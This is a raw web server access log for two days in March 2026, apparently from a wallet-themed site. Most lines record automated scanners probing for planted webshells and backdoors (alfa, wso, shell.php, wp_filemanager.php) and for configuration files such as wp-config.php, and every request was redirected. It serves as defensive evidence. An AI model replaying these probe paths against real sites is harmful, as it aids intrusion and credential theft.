20.151.104.32 - - [13/Mar/2026:09:41:28 +0300] "GET /qqjki.php HTTP/1.1" 301 795 "-" "-" 101.32.15.141 - - [13/Mar/2026:10:02:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.104.32 - - [13/Mar/2026:09:37:48 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:37:55 +0300] "GET /callback.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:38:31 +0300] "GET /assacc.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:51 +0300] "GET /vhwwnrnmqc.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:53 +0300] "GET /xenium4.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:40:10 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:40:18 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:41:04 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:41:13 +0300] "GET /wp-tot.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:41:16 +0300] "GET /wp-tap.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:41:19 +0300] "GET /vrhiw.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:41:34 +0300] "GET /koiy.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:38:06 +0300] "GET /byypas.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:38:40 +0300] "GET /ws83.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:40:46 +0300] "GET /ws84.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:40:49 +0300] "GET /c4.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:38:14 +0300] "GET /abrand.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:38:59 +0300] "GET /%E3%81%AE.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:19 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:38:55 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:11 +0300] "GET /zz8.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:40:56 +0300] "GET /lclnqiii.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:40:25 +0300] "GET /drhunthq.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:40:28 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:38:24 +0300] "GET /camara.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:25 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:28 +0300] "GET /ai.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:35 +0300] "GET /amwxl.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:38 +0300] "GET /awdld.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:40:05 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:40:41 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 195.26.224.235 - - [13/Mar/2026:11:36:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 173.252.82.21 - - [13/Mar/2026:12:04:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 196.1.93.16 - - [13/Mar/2026:11:07:59 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 84.32.59.85 - - [13/Mar/2026:13:00:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 40.69.66.178 - - [13/Mar/2026:13:38:05 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 66.220.149.116 - - [13/Mar/2026:13:44:54 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 43.155.140.157 - - [13/Mar/2026:15:10:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.141.76 - - [13/Mar/2026:14:27:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 165.227.148.217 - - [13/Mar/2026:15:32:59 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 165.227.148.217 - - [13/Mar/2026:15:32:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 4.204.197.4 - - [13/Mar/2026:16:04:58 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:04:13 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:05:18 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:05:53 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:03:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:04:52 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:05:11 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:03:54 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:04:06 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:04:08 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:04:34 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:04:37 +0300] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:05:33 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:03:40 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:03:58 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:05:27 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:05:40 +0300] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:04:19 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:06:00 +0300] "GET /up.php?x= HTTP/1.1" 301 795 "-" "-" 221.229.106.25 - - [13/Mar/2026:16:07:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.204.197.4 - - [13/Mar/2026:16:03:46 +0300] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:04:29 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 4.204.197.4 - - [13/Mar/2026:16:06:07 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 51.68.111.208 - - [13/Mar/2026:17:07:27 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.208 - - [13/Mar/2026:17:07:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 20.104.19.195 - - [13/Mar/2026:17:20:24 +0300] "GET /taptap-null.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:21:08 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:21:22 +0300] "GET /muse.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:22:23 +0300] "GET /about.phprumusanjavatis.com HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:22:26 +0300] "GET /.info.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:22:29 +0300] "GET /rnEPv9.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:24:09 +0300] "GET /class-config.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:25:18 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:26:02 +0300] "GET /db-cache.php HTTP/1.1" 301 795 "-" "-" 165.154.226.120 - - [13/Mar/2026:18:16:19 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 165.154.226.120 - - [13/Mar/2026:18:16:23 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.104.19.195 - - [13/Mar/2026:17:20:11 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:20:34 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:20:36 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:20:38 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:20:46 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:23:57 +0300] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 34.58.162.234 - - [13/Mar/2026:17:54:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 165.154.226.120 - - [13/Mar/2026:18:16:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 20.104.19.195 - - [13/Mar/2026:17:18:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:18:59 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:19:22 +0300] "GET /423_index.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:19:33 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:22:04 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:25:27 +0300] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:25:36 +0300] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:25:49 +0300] "GET /afnew.php HTTP/1.1" 301 795 "-" "-" 165.232.35.106 - - [13/Mar/2026:18:16:17 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 54.37.252.212 - - [13/Mar/2026:18:28:06 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 54.37.252.212 - - [13/Mar/2026:18:28:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 20.104.19.195 - - [13/Mar/2026:17:20:55 +0300] "GET /wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:23:24 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:23:35 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:19:54 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:20:03 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:22:55 +0300] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:23:01 +0300] "GET /Cache.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:23:14 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:25:04 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:19:14 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 184.82.18.106 - - [13/Mar/2026:17:19:25 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.104.19.195 - - [13/Mar/2026:17:21:49 +0300] "GET /dialog.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:19:40 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:21:30 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:21:38 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:21:42 +0300] "GET /media.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:22:36 +0300] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:22:39 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:22:43 +0300] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:23:47 +0300] "GET /wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:24:17 +0300] "GET /Angelv2.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:24:39 +0300] "GET /css.phphmgm.ir HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:24:54 +0300] "GET /come.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:25:55 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:25:55 +0300] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 165.232.35.106 - - [13/Mar/2026:18:16:17 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.104.19.195 - - [13/Mar/2026:17:22:14 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:22:49 +0300] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 20.104.19.195 - - [13/Mar/2026:17:24:32 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 165.232.35.106 - - [13/Mar/2026:18:16:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 87.121.84.71 - - [13/Mar/2026:19:13:39 +0300] "GET /admin/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 34.58.162.234 - - [13/Mar/2026:18:57:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 144.91.103.84 - - [13/Mar/2026:20:59:08 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 144.91.103.84 - - [13/Mar/2026:21:00:41 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.153.113.127 - - [13/Mar/2026:19:22:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.50.147 - - [13/Mar/2026:20:58:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [13/Mar/2026:19:59:45 +0300] "GET /wp-content/plugins/w3-total-cache/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 144.91.103.84 - - [13/Mar/2026:20:59:48 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.91.69.196 - - [13/Mar/2026:21:31:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/5.3.2679.68" 143.198.39.85 - - [13/Mar/2026:21:26:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 143.198.39.85 - - [13/Mar/2026:21:26:20 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 4.204.200.32 - - [13/Mar/2026:23:02:51 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.120.117.132 - - [13/Mar/2026:21:55:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 165.232.143.11 - - [13/Mar/2026:23:41:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 64.89.163.10 - - [13/Mar/2026:23:58:57 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [13/Mar/2026:23:58:59 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [13/Mar/2026:23:58:57 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [13/Mar/2026:23:58:56 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [13/Mar/2026:23:58:58 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [13/Mar/2026:23:58:58 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [13/Mar/2026:23:58:59 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [13/Mar/2026:23:58:58 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.89.163.10 - - [13/Mar/2026:23:58:56 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 20.2.141.62 - - [14/Mar/2026:01:45:16 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.116.61.192 - - [14/Mar/2026:02:11:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:13:18 +0300] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:13:22 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:13:22 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:14:45 +0300] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:21 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:21 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:27 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:56 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:57 +0300] "GET /css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:02 +0300] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:22 +0300] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:51 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:51 +0300] "GET /wp-admin/a.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:17:59 +0300] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 185.241.208.62 - - [14/Mar/2026:02:08:53 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:53 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.116.61.192 - - [14/Mar/2026:02:13:45 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:14:52 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:13 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:13 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:13 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:33 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:33 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:33 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:16:33 +0300] "GET /aw.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:18:23 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:52 +0300] "GET /wp-includes/blocks/post-excerpt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 185.241.208.62 - - [14/Mar/2026:02:08:53 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 20.116.61.192 - - [14/Mar/2026:02:12:02 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:12:49 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:13:39 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:01 +0300] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 20.116.61.192 - - [14/Mar/2026:02:15:28 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 